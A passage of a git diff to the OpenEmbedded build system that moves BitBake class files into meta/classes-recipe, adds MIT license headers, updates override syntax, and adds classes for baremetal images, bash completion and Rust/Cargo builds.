+ # long or have arguments in them, thus preventing them from using the /usr/bin/env
+ # shebang
+ #
+ # Usage: create_cmdline_wrapper FILENAME <extra-options>
+
+ cmd=$1
+ shift
+
+ echo "Generating wrapper script for $cmd"
+
+ # Strip #! and get remaining interpreter + arg
+ argument="$(sed -ne 's/^#! *//p;q' $cmd)"
+ # strip the shebang from the real script as we do not want it to be usable anyway
+ tail -n +2 $cmd > $cmd.real
+ chown --reference=$cmd $cmd.real
+ chmod --reference=$cmd $cmd.real
+ rm -f $cmd
+ cmdname=$(basename $cmd)
+ dirname=$(dirname $cmd)
+ cmdoptions=$@
+ if [ "${base_prefix}" != "" ]; then
+ relpath=`python3 -c "import os; print(os.path.relpath('${D}${base_prefix}', '$dirname'))"`
+ cmdoptions=`echo $@ | sed -e "s:${base_prefix}:\\$realdir/$relpath:g"`
+ fi
+ cat <<END >$cmd
+#!/usr/bin/env bash
+realpath=\`readlink -fn \$0\`
+realdir=\`dirname \$realpath\`
+exec -a \$realdir/$cmdname $argument \$realdir/$cmdname.real $cmdoptions "\$@"
END
chmod +x $cmd
}
diff --git a/meta/classes/allarch.bbclass b/meta/classes-recipe/allarch.bbclass
index 5bd5c44a27..e429b92437 100644
--- a/meta/classes/allarch.bbclass
+++ b/meta/classes-recipe/allarch.bbclass
@@ -1,4 +1,10 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# This class is used for architecture independent recipes/data files (usually scripts)
#
@@ -57,6 +63,8 @@ python () {
d.appendVarFlag("emit_pkgdata", "vardepsexclude", " MULTILIB_VARIANTS")
d.appendVarFlag("write_specfile", "vardepsexclude", " MULTILIBS")
d.appendVarFlag("do_package", "vardepsexclude", " package_do_shlibs")
+
+ d.setVar("qemu_wrapper_cmdline", "def qemu_wrapper_cmdline(data, rootfs_path, library_paths):\n return 'false'")
elif bb.data.inherits_class('packagegroup', d) and not bb.data.inherits_class('nativesdk', d):
bb.error("Please ensure recipe %s sets PACKAGE_ARCH before inherit packagegroup" % d.getVar("FILE"))
}
diff --git a/meta/classes-recipe/autotools-brokensep.bbclass b/meta/classes-recipe/autotools-brokensep.bbclass
new file mode 100644
index 0000000000..a0fb4b7b50
--- /dev/null
+++ b/meta/classes-recipe/autotools-brokensep.bbclass
@@ -0,0 +1,11 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Autotools class for recipes where separate build dir doesn't work
+# Ideally we should fix software so it does work. Standard autotools supports
+# this.
+inherit autotools
+B = "${S}"
diff --git a/meta/classes/autotools.bbclass b/meta/classes-recipe/autotools.bbclass
index 1f3c771c69..9359c9b4e1 100644
--- a/meta/classes/autotools.bbclass
+++ b/meta/classes-recipe/autotools.bbclass
@@ -1,4 +1,10 @@
-def autotools_dep_prepend(d):
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+def get_autotools_dep(d):
if d.getVar('INHIBIT_AUTOTOOLS_DEPS'):
return ''
@@ -17,9 +23,10 @@ def autotools_dep_prepend(d):
and not d.getVar('INHIBIT_DEFAULT_DEPS'):
deps += 'libtool-cross '
- return deps + 'gnu-config-native '
+ return deps
+
-DEPENDS_prepend = "${@autotools_dep_prepend(d)} "
+DEPENDS:prepend = "${@get_autotools_dep(d)} "
inherit siteinfo
@@ -30,13 +37,14 @@ inherit siteinfo
export CONFIG_SITE
acpaths ?= "default"
-EXTRA_AUTORECONF = "--exclude=autopoint"
+EXTRA_AUTORECONF += "--exclude=autopoint"
export lt_cv_sys_lib_dlsearch_path_spec = "${libdir} ${base_libdir}"
# When building tools for use at build-time it's recommended for the build
# system to use these variables when cross-compiling.
-# (http://sources.redhat.com/autobook/autobook/autobook_270.html)
+# https://www.gnu.org/software/autoconf-archive/ax_prog_cc_for_build.html
+# https://stackoverflow.com/questions/24201260/autotools-cross-compilation-and-generated-sources/24208587#24208587
export CPP_FOR_BUILD = "${BUILD_CPP}"
export CPPFLAGS_FOR_BUILD = "${BUILD_CPPFLAGS}"
@@ -69,7 +77,7 @@ CONFIGUREOPTS = " --build=${BUILD_SYS} \
--localstatedir=${localstatedir} \
--libdir=${libdir} \
--includedir=${includedir} \
- --oldincludedir=${oldincludedir} \
+ --oldincludedir=${includedir} \
--infodir=${infodir} \
--mandir=${mandir} \
--disable-silent-rules \
@@ -90,7 +98,7 @@ oe_runconf () {
cfgscript=`python3 -c "import os; print(os.path.relpath(os.path.dirname('${CONFIGURE_SCRIPT}'), '.'))"`/$cfgscript_name
if [ -x "$cfgscript" ] ; then
bbnote "Running $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} $@"
- if ! ${CACHED_CONFIGUREVARS} CONFIG_SHELL=/bin/bash $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} "$@"; then
+ if ! CONFIG_SHELL=${CONFIG_SHELL-/bin/bash} ${CACHED_CONFIGUREVARS} $cfgscript ${CONFIGUREOPTS} ${EXTRA_OECONF} "$@"; then
bbnote "The following config.log files may provide further information."
bbnote `find ${B} -ignore_readdir_race -type f -name config.log`
bbfatal_log "configure failed"
@@ -131,7 +139,7 @@ autotools_postconfigure(){
EXTRACONFFUNCS ??= ""
-EXTRA_OECONF_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OECONF:append = " ${PACKAGECONFIG_CONFARGS}"
do_configure[prefuncs] += "autotools_preconfigure autotools_aclocals ${EXTRACONFFUNCS}"
do_compile[prefuncs] += "autotools_aclocals"
@@ -140,14 +148,17 @@ do_configure[postfuncs] += "autotools_postconfigure"
ACLOCALDIR = "${STAGING_DATADIR}/aclocal"
ACLOCALEXTRAPATH = ""
-ACLOCALEXTRAPATH_class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
-ACLOCALEXTRAPATH_class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-target = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
+ACLOCALEXTRAPATH:class-nativesdk = " -I ${STAGING_DATADIR_NATIVE}/aclocal/"
python autotools_aclocals () {
- d.setVar("CONFIG_SITE", siteinfo_get_files(d, sysrootcache=True))
+ sitefiles, searched = siteinfo_get_files(d, sysrootcache=True)
+ d.setVar("CONFIG_SITE", " ".join(sitefiles))
}
-CONFIGURE_FILES = "${S}/configure.in ${S}/configure.ac ${S}/config.h.in ${S}/acinclude.m4 Makefile.am"
+do_configure[file-checksums] += "${@' '.join(siteinfo_get_files(d, sysrootcache=False)[1])}"
+
+CONFIGURE_FILES = "${S}/configure.in ${S}/configure.ac ${S}/config.h.in *.m4 Makefile.am"
autotools_do_configure() {
# WARNING: gross hack follows:
@@ -215,21 +226,13 @@ autotools_do_configure() {
PRUNE_M4="$PRUNE_M4 gettext.m4 iconv.m4 lib-ld.m4 lib-link.m4 lib-prefix.m4 nls.m4 po.m4 progtest.m4"
fi
mkdir -p m4
- if grep -q "^[[:space:]]*[AI][CT]_PROG_INTLTOOL" $CONFIGURE_AC; then
- if ! echo "${DEPENDS}" | grep -q intltool-native; then
- bbwarn "Missing DEPENDS on intltool-native"
- fi
- PRUNE_M4="$PRUNE_M4 intltool.m4"
- bbnote Executing intltoolize --copy --force --automake
- intltoolize --copy --force --automake
- fi
for i in $PRUNE_M4; do
find ${S} -ignore_readdir_race -name $i -delete
done
bbnote Executing ACLOCAL=\"$ACLOCAL\" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths
- ACLOCAL="$ACLOCAL" autoreconf -Wcross --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
+ ACLOCAL="$ACLOCAL" autoreconf -Wcross -Wno-obsolete --verbose --install --force ${EXTRA_AUTORECONF} $acpaths || die "autoreconf execution failed."
cd $olddir
fi
if [ -e ${CONFIGURE_SCRIPT} ]; then
diff --git a/meta/classes-recipe/baremetal-image.bbclass b/meta/classes-recipe/baremetal-image.bbclass
new file mode 100644
index 0000000000..b9a584351a
--- /dev/null
+++ b/meta/classes-recipe/baremetal-image.bbclass
@@ -0,0 +1,144 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Baremetal image class
+#
+# This class is meant to be inherited by recipes for baremetal/RTOS applications
+# It contains code that would be used by all of them, every recipe just needs to
+# override certain variables.
+#
+# For scalability purposes, code within this class focuses on the "image" wiring
+# to satisfy the OpenEmbedded image creation and testing infrastructure.
+#
+# See meta-skeleton for a working example.
+
+
+# Toolchain should be baremetal or newlib based.
+# TCLIBC="baremetal" or TCLIBC="newlib"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
+
+
+inherit rootfs-postcommands
+
+# Set some defaults, but these should be overriden by each recipe if required
+IMGDEPLOYDIR ?= "${WORKDIR}/deploy-${PN}-image-complete"
+BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
+IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
+IMAGE_NAME_SUFFIX ?= ""
+
+do_rootfs[dirs] = "${IMGDEPLOYDIR} ${DEPLOY_DIR_IMAGE}"
+
+do_image(){
+ install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.bin
+ install ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.elf
+}
+
+do_image_complete(){
+ :
+}
+
+python do_rootfs(){
+ from oe.utils import execute_pre_post_process
+ from pathlib import Path
+
+ # Write empty manifest file to satisfy test infrastructure
+ deploy_dir = d.getVar('IMGDEPLOYDIR')
+ link_name = d.getVar('IMAGE_LINK_NAME')
+ manifest_name = d.getVar('IMAGE_MANIFEST')
+
+ Path(manifest_name).touch()
+ if os.path.exists(manifest_name) and link_name:
+ manifest_link = deploy_dir + "/" + link_name + ".manifest"
+ if manifest_link != manifest_name:
+ if os.path.lexists(manifest_link):
+ os.remove(manifest_link)
+ os.symlink(os.path.basename(manifest_name), manifest_link)
+ # A lot of postprocess commands assume the existence of rootfs/etc
+ sysconfdir = d.getVar("IMAGE_ROOTFS") + d.getVar('sysconfdir')
+ bb.utils.mkdirhier(sysconfdir)
+
+ execute_pre_post_process(d, d.getVar('ROOTFS_POSTPROCESS_COMMAND'))
+}
+
+
+# Assure binaries, manifest and qemubootconf are populated on DEPLOY_DIR_IMAGE
+do_image_complete[dirs] = "${TOPDIR}"
+SSTATETASKS += "do_image_complete"
+SSTATE_SKIP_CREATION:task-image-complete = '1'
+do_image_complete[sstate-inputdirs] = "${IMGDEPLOYDIR}"
+do_image_complete[sstate-outputdirs] = "${DEPLOY_DIR_IMAGE}"
+do_image_complete[stamp-extra-info] = "${MACHINE_ARCH}"
+addtask do_image_complete after do_image before do_build
+
+python do_image_complete_setscene () {
+ sstate_setscene(d)
+}
+addtask do_image_complete_setscene
+
+# QEMU generic Baremetal/RTOS parameters
+QB_DEFAULT_KERNEL ?= "${IMAGE_LINK_NAME}.bin"
+QB_MEM ?= "-m 256"
+QB_DEFAULT_FSTYPE ?= "bin"
+QB_DTB ?= ""
+QB_OPT_APPEND:append = " -nographic"
+
+# QEMU x86 requires an .elf kernel to boot rather than a .bin
+QB_DEFAULT_KERNEL:qemux86 ?= "${IMAGE_LINK_NAME}.elf"
+# QEMU x86-64 refuses to boot from -kernel, needs a multiboot compatible image
+QB_DEFAULT_FSTYPE:qemux86-64 ?= "iso"
+
+# RISC-V tunes set the BIOS, unset, and instruct QEMU to
+# ignore the BIOS and boot from -kernel
+QB_DEFAULT_BIOS:qemuriscv64 = ""
+QB_DEFAULT_BIOS:qemuriscv32 = ""
+QB_OPT_APPEND:append:qemuriscv64 = " -bios none"
+QB_OPT_APPEND:append:qemuriscv32 = " -bios none"
+
+
+# Use the medium-any code model for the RISC-V 64 bit implementation,
+# since medlow can only access addresses below 0x80000000 and RAM
+# starts at 0x80000000 on RISC-V 64
+# Keep RISC-V 32 using -mcmodel=medlow (symbols lie between -2GB:2GB)
+CFLAGS:append:qemuriscv64 = " -mcmodel=medany"
+
+
+## Emulate image.bbclass
+# Handle inherits of any of the image classes we need
+IMAGE_CLASSES ??= ""
+IMGCLASSES = " ${IMAGE_CLASSES}"
+inherit_defer ${IMGCLASSES}
+# Set defaults to satisfy IMAGE_FEATURES check
+IMAGE_FEATURES ?= ""
+IMAGE_FEATURES[type] = "list"
+IMAGE_FEATURES[validitems] += ""
+
+
+# This next part is necessary to trick the build system into thinking
+# its building an image recipe so it generates the qemuboot.conf
+addtask do_rootfs before do_image after do_install
+addtask do_image after do_rootfs before do_image_complete
+addtask do_image_complete after do_image before do_build
+inherit qemuboot
+
+# Based on image.bbclass to make sure we build qemu
+python(){
+ # do_addto_recipe_sysroot doesnt exist for all recipes, but we need it to have
+ # /usr/bin on recipe-sysroot (qemu) populated
+ # The do_addto_recipe_sysroot dependency is coming from EXTRA_IMAGDEPENDS now,
+ # we just need to add the logic to add its dependency to do_image.
+ def extraimage_getdepends(task):
+ deps = ""
+ for dep in (d.getVar('EXTRA_IMAGEDEPENDS') or "").split():
+ # Make sure we only add it for qemu
+ if 'qemu' in dep:
+ if ":" in dep:
+ deps += " %s " % (dep)
+ else:
+ deps += " %s:%s" % (dep, task)
+ return deps
+ d.appendVarFlag('do_image', 'depends', extraimage_getdepends('do_populate_sysroot'))
+}
diff --git a/meta/classes-recipe/bash-completion.bbclass b/meta/classes-recipe/bash-completion.bbclass
new file mode 100644
index 0000000000..b656e76c09
--- /dev/null
+++ b/meta/classes-recipe/bash-completion.bbclass
@@ -0,0 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+DEPENDS:append:class-target = " bash-completion"
+
+PACKAGES += "${PN}-bash-completion"
+
+FILES:${PN}-bash-completion = "${datadir}/bash-completion ${sysconfdir}/bash_completion.d"
+
+RDEPENDS:${PN}-bash-completion = "bash-completion"
diff --git a/meta/classes/bin_package.bbclass b/meta/classes-recipe/bin_package.bbclass
index cbc9b1fa13..3a1befc29c 100644
--- a/meta/classes/bin_package.bbclass
+++ b/meta/classes-recipe/bin_package.bbclass
@@ -1,7 +1,9 @@
#
-# ex:ts=4:sw=4:sts=4:et
-# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+# Copyright OpenEmbedded Contributors
#
+# SPDX-License-Identifier: MIT
+#
+
# Common variable and task for the binary package recipe.
# Basic principle:
# * The files have been unpacked to ${S} by base.bbclass
@@ -30,10 +32,11 @@ bin_package_do_install () {
bbfatal bin_package has nothing to install. Be sure the SRC_URI unpacks into S.
fi
cd ${S}
+ install -d ${D}${base_prefix}
tar --no-same-owner --exclude='./patches' --exclude='./.pc' -cpf - . \
- | tar --no-same-owner -xpf - -C ${D}
+ | tar --no-same-owner -xpf - -C ${D}${base_prefix}
}
-FILES_${PN} = "/"
+FILES:${PN} = "/"
EXPORT_FUNCTIONS do_install
diff --git a/meta/classes/binconfig-disabled.bbclass b/meta/classes-recipe/binconfig-disabled.bbclass
index 096b670e12..cbe2078e0f 100644
--- a/meta/classes/binconfig-disabled.bbclass
+++ b/meta/classes-recipe/binconfig-disabled.bbclass
@@ -1,13 +1,19 @@
#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+#
# Class to disable binconfig files instead of installing them
#
# The list of scripts which should be disabled.
BINCONFIG ?= ""
-FILES_${PN}-dev += "${bindir}/*-config"
+FILES:${PN}-dev += "${bindir}/*-config"
-do_install_append () {
+do_install:append () {
for x in ${BINCONFIG}; do
# Make the disabled script emit invalid parameters for those configure
# scripts which call it without checking the return code.
diff --git a/meta/classes/binconfig.bbclass b/meta/classes-recipe/binconfig.bbclass
index 9112ed4608..427dba7f1f 100644
--- a/meta/classes/binconfig.bbclass
+++ b/meta/classes-recipe/binconfig.bbclass
@@ -1,4 +1,10 @@
-FILES_${PN}-dev += "${bindir}/*-config"
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+FILES:${PN}-dev += "${bindir}/*-config"
# The namespaces can clash here hence the two step replace
def get_binconfig_mangle(d):
diff --git a/meta/classes-recipe/cargo-update-recipe-crates.bbclass b/meta/classes-recipe/cargo-update-recipe-crates.bbclass
new file mode 100644
index 0000000000..8980137d02
--- /dev/null
+++ b/meta/classes-recipe/cargo-update-recipe-crates.bbclass
@@ -0,0 +1,79 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##
+## Purpose:
+## This class is used to update the list of crates in SRC_URI
+## by reading Cargo.lock in the source tree.
+##
+## See meta/recipes-devtools/python/python3-bcrypt_*.bb for an example
+##
+## To perform the update: bitbake -c update_crates recipe-name
+
+addtask do_update_crates after do_patch
+do_update_crates[depends] = "python3-native:do_populate_sysroot"
+do_update_crates[nostamp] = "1"
+do_update_crates[doc] = "Update the recipe by reading Cargo.lock and write in ${THISDIR}/${BPN}-crates.inc"
+
+# The directory where to search for Cargo.lock files
+CARGO_LOCK_SRC_DIR ??= "${S}"
+
+do_update_crates() {
+ TARGET_FILE="${THISDIR}/${BPN}-crates.inc"
+
+ nativepython3 - <<EOF
+
+def get_crates(f):
+ import tomllib
+ c_list = '# from %s' % os.path.relpath(f, '${CARGO_LOCK_SRC_DIR}')
+ c_list += '\nSRC_URI += " \\\'
+ crates = tomllib.load(open(f, 'rb'))
+
+ # Build a list with crates info that have crates.io in the source
+ crates_candidates = list(filter(lambda c: 'crates.io' in c.get('source', ''), crates['package']))
+
+ if not crates_candidates:
+ raise ValueError("Unable to find any candidate crates that use crates.io")
+
+ # Update crates uri and their checksum, to avoid name clashing on the checksum
+ # we need to rename crates with name and version to have a unique key
+ cksum_list = ''
+ for c in crates_candidates:
+ rename = "%s-%s" % (c['name'], c['version'])
+ c_list += '\n crate://crates.io/%s/%s \\\' % (c['name'], c['version'])
+ if 'checksum' in c:
+ cksum_list += '\nSRC_URI[%s.sha256sum] = "%s"' % (rename, c['checksum'])
+
+ c_list += '\n"\n'
+ c_list += cksum_list
+ c_list += '\n'
+ return c_list
+
+import os
+crates = "# Autogenerated with 'bitbake -c update_crates ${PN}'\n\n"
+found = False
+for root, dirs, files in os.walk('${CARGO_LOCK_SRC_DIR}'):
+ # ignore git and patches directories
+ if root.startswith(os.path.join('${CARGO_LOCK_SRC_DIR}', '.pc')):
+ continue
+ if root.startswith(os.path.join('${CARGO_LOCK_SRC_DIR}', '.git')):
+ continue
+ for file in files:
+ if file == 'Cargo.lock':
+ try:
+ cargo_lock_path = os.path.join(root, file)
+ crates += get_crates(os.path.join(root, file))
+ except Exception as e:
+ raise ValueError("Cannot parse '%s'" % cargo_lock_path) from e
+ else:
+ found = True
+if not found:
+ raise ValueError("Unable to find any Cargo.lock in ${CARGO_LOCK_SRC_DIR}")
+open("${TARGET_FILE}", 'w').write(crates)
+EOF
+
+ bbnote "Successfully update crates inside '${TARGET_FILE}'"
+}
diff --git a/meta/classes-recipe/cargo.bbclass b/meta/classes-recipe/cargo.bbclass
new file mode 100644
index 0000000000..0829a58dd9
--- /dev/null
+++ b/meta/classes-recipe/cargo.bbclass
@@ -0,0 +1,93 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##
+## Purpose:
+## This class is used by any recipes that are built using
+## Cargo.
+
+inherit cargo_common
+inherit rust-target-config
+
+# the binary we will use
+CARGO = "cargo"
+
+# We need cargo to compile for the target
+BASEDEPENDS:append = " cargo-native"
+
+# Ensure we get the right rust variant
+DEPENDS:append:class-target = " rust-native ${RUSTLIB_DEP}"
+DEPENDS:append:class-nativesdk = " rust-native ${RUSTLIB_DEP}"
+DEPENDS:append:class-native = " rust-native"
+
+# Enable build separation
+B = "${WORKDIR}/build"
+
+# In case something fails in the build process, give a bit more feedback on
+# where the issue occured
+export RUST_BACKTRACE = "1"
+
+RUSTFLAGS ??= ""
+BUILD_MODE = "${@['--release', ''][d.getVar('DEBUG_BUILD') == '1']}"
+# --frozen flag will prevent network access (which is required since only
+# the do_fetch step is authorized to access network)
+# and will require an up to date Cargo.lock file.
+# This force the package being built to already ship a Cargo.lock, in the end
+# this is what we want, at least, for reproducibility of the build.
+CARGO_BUILD_FLAGS = "-v --frozen --target ${RUST_HOST_SYS} ${BUILD_MODE} --manifest-path=${CARGO_MANIFEST_PATH}"
+
+# This is based on the content of CARGO_BUILD_FLAGS and generally will need to
+# change if CARGO_BUILD_FLAGS changes.
+BUILD_DIR = "${@['release', 'debug'][d.getVar('DEBUG_BUILD') == '1']}"
+CARGO_TARGET_SUBDIR="${RUST_HOST_SYS}/${BUILD_DIR}"
+oe_cargo_build () {
+ export RUSTFLAGS="${RUSTFLAGS}"
+ bbnote "Using rust targets from ${RUST_TARGET_PATH}"
+ bbnote "cargo = $(which ${CARGO})"
+ bbnote "${CARGO} build ${CARGO_BUILD_FLAGS} $@"
+ "${CARGO}" build ${CARGO_BUILD_FLAGS} "$@"
+}
+
+do_compile[progress] = "outof:\s+(\d+)/(\d+)"
+cargo_do_compile () {
+ oe_cargo_build
+}
+
+cargo_do_install () {
+ local have_installed=false
+ for tgt in "${B}/target/${CARGO_TARGET_SUBDIR}/"*; do
+ case $tgt in
+ *.so|*.rlib)
+ install -d "${D}${rustlibdir}"
+ install -m755 "$tgt" "${D}${rustlibdir}"
+ have_installed=true
+ ;;
+ *examples)
+ if [ -d "$tgt" ]; then
+ for example in "$tgt/"*; do
+ if [ -f "$example" ] && [ -x "$example" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$example" "${D}${bindir}"
+ have_installed=true
+ fi
+ done
+ fi
+ ;;
+ *)
+ if [ -f "$tgt" ] && [ -x "$tgt" ]; then
+ install -d "${D}${bindir}"
+ install -m755 "$tgt" "${D}${bindir}"
+ have_installed=true
+ fi
+ ;;
+ esac
+ done
+ if ! $have_installed; then
+ die "Did not find anything to install"
+ fi
+}
+
+EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes-recipe/cargo_c.bbclass b/meta/classes-recipe/cargo_c.bbclass
new file mode 100644
index 0000000000..ef431634a2
--- /dev/null
+++ b/meta/classes-recipe/cargo_c.bbclass
@@ -0,0 +1,41 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##
+## Purpose:
+## This class is used by any recipes that want to compile a C ABI compatible
+## library with header and pkg config file
+
+inherit cargo pkgconfig
+
+# the binaries we will use
+CARGO_C_BUILD = "cargo-cbuild"
+CARGO_C_INSTALL = "cargo-cinstall"
+
+# We need cargo-c to compile for the target
+BASEDEPENDS:append = " cargo-c-native"
+
+do_compile[progress] = "outof:\s+(\d+)/(\d+)"
+cargo_c_do_compile() {
+ oe_cargo_fix_env
+ export RUSTFLAGS="${RUSTFLAGS}"
+ bbnote "Using rust targets from ${RUST_TARGET_PATH}"
+ bbnote "cargo-cbuild = $(which ${CARGO_C_BUILD})"
+ bbnote "${CARGO_C_BUILD} cbuild ${CARGO_BUILD_FLAGS}"
+ "${CARGO_C_BUILD}" cbuild ${CARGO_BUILD_FLAGS}
+}
+
+cargo_c_do_install() {
+ oe_cargo_fix_env
+ export RUSTFLAGS="${RUSTFLAGS}"
+ bbnote "cargo-cinstall = $(which ${CARGO_C_INSTALL})"
+ "${CARGO_C_INSTALL}" cinstall ${CARGO_BUILD_FLAGS} \
+ --destdir ${D} \
+ --prefix ${prefix} \
+ --library-type cdylib
+}
+
+EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes-recipe/cargo_common.bbclass b/meta/classes-recipe/cargo_common.bbclass
new file mode 100644
index 0000000000..0fb443edbd
--- /dev/null
+++ b/meta/classes-recipe/cargo_common.bbclass
@@ -0,0 +1,238 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+##
+## Purpose:
+## This class is to support building with cargo. It
+## must be different than cargo.bbclass because Rust
+## now builds with Cargo but cannot use cargo.bbclass
+## due to dependencies and assumptions in cargo.bbclass
+## that Rust & Cargo are already installed. So this
+## is used by cargo.bbclass and Rust
+##
+
+# add crate fetch support
+inherit rust-common
+
+# Where we download our registry and dependencies to
+export CARGO_HOME = "${WORKDIR}/cargo_home"
+
+# The pkg-config-rs library used by cargo build scripts disables itself when
+# cross compiling unless this is defined. We set up pkg-config appropriately
+# for cross compilation, so tell it we know better than it.
+export PKG_CONFIG_ALLOW_CROSS = "1"
+
+# Don't instruct cargo to use crates downloaded by bitbake. Some rust packages,
+# for example the rust compiler itself, come with their own vendored sources.
+# Specifying two [source.crates-io] will not work.
+CARGO_DISABLE_BITBAKE_VENDORING ??= "0"
+
+# Used by libstd-rs to point to the vendor dir included in rustc src
+CARGO_VENDORING_DIRECTORY ??= "${CARGO_HOME}/bitbake"
+
+# The directory of the Cargo.toml relative to the root directory, per default
+# assume there's a Cargo.toml directly in the root directory
+CARGO_SRC_DIR ??= ""
+
+# The actual path to the Cargo.toml
+CARGO_MANIFEST_PATH ??= "${S}/${CARGO_SRC_DIR}/Cargo.toml"
+
+# Path to Cargo.lock
+CARGO_LOCK_PATH ??= "${@ os.path.join(os.path.dirname(d.getVar('CARGO_MANIFEST_PATH', True)), 'Cargo.lock')}"
+
+CARGO_RUST_TARGET_CCLD ??= "${RUST_TARGET_CCLD}"
+cargo_common_do_configure () {
+ mkdir -p ${CARGO_HOME}/bitbake
+
+ cat <<- EOF > ${CARGO_HOME}/config
+ # EXTRA_OECARGO_PATHS
+ paths = [
+ $(for p in ${EXTRA_OECARGO_PATHS}; do echo \"$p\",; done)
+ ]
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # Local mirror vendored by bitbake
+ [source.bitbake]
+ directory = "${CARGO_VENDORING_DIRECTORY}"
+ EOF
+
+ if [ ${CARGO_DISABLE_BITBAKE_VENDORING} = "0" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [source.crates-io]
+ replace-with = "bitbake"
+ local-registry = "/nonexistent"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [http]
+ # Multiplexing can't be enabled because http2 can't be enabled
+ # in curl-native without dependency loops
+ multiplexing = false
+
+ # Ignore the hard coded and incorrect path to certificates
+ cainfo = "${STAGING_ETCDIR_NATIVE}/ssl/certs/ca-certificates.crt"
+
+ EOF
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # HOST_SYS
+ [target.${RUST_HOST_SYS}]
+ linker = "${CARGO_RUST_TARGET_CCLD}"
+ EOF
+
+ if [ "${RUST_HOST_SYS}" != "${RUST_BUILD_SYS}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # BUILD_SYS
+ [target.${RUST_BUILD_SYS}]
+ linker = "${RUST_BUILD_CCLD}"
+ EOF
+ fi
+
+ if [ "${RUST_TARGET_SYS}" != "${RUST_BUILD_SYS}" -a "${RUST_TARGET_SYS}" != "${RUST_HOST_SYS}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ # TARGET_SYS
+ [target.${RUST_TARGET_SYS}]
+ linker = "${RUST_TARGET_CCLD}"
+ EOF
+ fi
+
+ # Put build output in build directory preferred by bitbake instead of
+ # inside source directory unless they are the same
+ if [ "${B}" != "${S}" ]; then
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [build]
+ # Use out of tree build destination to avoid polluting the source tree
+ target-dir = "${B}/target"
+ EOF
+ fi
+
+ cat <<- EOF >> ${CARGO_HOME}/config
+
+ [term]
+ progress.when = 'always'
+ progress.width = 80
+ EOF
+}
+
+python cargo_common_do_patch_paths() {
+ import shutil
+
+ cargo_config = os.path.join(d.getVar("CARGO_HOME"), "config")
+ if not os.path.exists(cargo_config):
+ return
+
+ src_uri = (d.getVar('SRC_URI') or "").split()
+ if len(src_uri) == 0:
+ return
+
+ patches = dict()
+ workdir = d.getVar('WORKDIR')
+ fetcher = bb.fetch2.Fetch(src_uri, d)
+ for url in fetcher.urls:
+ ud = fetcher.ud[url]
+ if ud.type == 'git':
+ name = ud.parm.get('name')
+ destsuffix = ud.parm.get('destsuffix')
+ if name is not None and destsuffix is not None:
+ if ud.user:
+ repo = '%s://%s@%s%s' % (ud.proto, ud.user, ud.host, ud.path)
+ else:
+ repo = '%s://%s%s' % (ud.proto, ud.host, ud.path)
+ path = '%s = { path = "%s" }' % (name, os.path.join(workdir, destsuffix))
+ patches.setdefault(repo, []).append(path)
+
+ with open(cargo_config, "a+") as config:
+ for k, v in patches.items():
+ print('\n[patch."%s"]' % k, file=config)
+ for name in v:
+ print(name, file=config)
+
+ if not patches:
+ return
+
+ # Cargo.lock file is needed for to be sure that artifacts
+ # downloaded by the fetch steps are those expected by the
+ # project and that the possible patches are correctly applied.
+ # Moreover since we do not want any modification
+ # of this file (for reproducibility purpose), we prevent it by
+ # using --frozen flag (in CARGO_BUILD_FLAGS) and raise a clear error
+ # here is better than letting cargo tell (in case the file is missing)
+ # "Cargo.lock should be modified but --frozen was given"
+
+ lockfile = d.getVar("CARGO_LOCK_PATH", True)
+ if not os.path.exists(lockfile):
+ bb.fatal(f"{lockfile} file doesn't exist")
+
+ # There are patched files and so Cargo.lock should be modified but we use
+ # --frozen so let's handle that modifications here.
+ #
+ # Note that a "better" (more elegant ?) would have been to use cargo update for
+ # patched packages:
+ # cargo update --offline -p package_1 -p package_2
+ # But this is not possible since it requires that cargo local git db
+ # to be populated and this is not the case as we fetch git repo ourself.
+
+ lockfile_orig = lockfile + ".orig"
+ if not os.path.exists(lockfile_orig):
